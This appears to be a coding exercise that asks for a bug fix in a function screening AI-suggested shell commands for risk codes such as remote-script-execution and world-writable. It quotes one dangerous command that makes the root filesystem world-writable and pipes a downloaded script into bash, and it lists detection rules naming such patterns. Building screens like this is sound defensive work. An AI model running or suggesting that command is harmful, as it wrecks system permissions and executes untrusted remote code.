Fix the risk screen for AI-suggested shell commands

Stuck on a permissions error, you asked an AI for a fix. It suggested sudo chmod -R 777 / && curl -sL https://fix-it.sh | bash and explained it with confidence. Your team now runs every AI-suggested shell command through a screen that names its risks before anyone pastes it into a terminal.

An assistant wrote review_shell_command(command). It is in the editor. It has a bug. Find it and fix it.

Input and output:

• command: the suggested command line.
• Return the risk codes found, without repeats, sorted by plain character order.

Rules the tests check:

• Put a space on each side of every |, then split the command on whitespace into tokens. So a | is always its own token, even when the command has no spaces around it.
• "elevated-privileges": a token is sudo.
• "destructive-delete": a token is rm.
• "recursive-flag": a token is -R, -r, -rf, -fr, -Rf, -fR or --recursive.
• "root-path-target": a token is exactly /.
• "world-writable": a token is 777 or 0777.
• "remote-script-execution": a download is piped into a shell. Some token is curl or wget, and somewhere after the first such token there is a | token whose next token is sh, bash or zsh.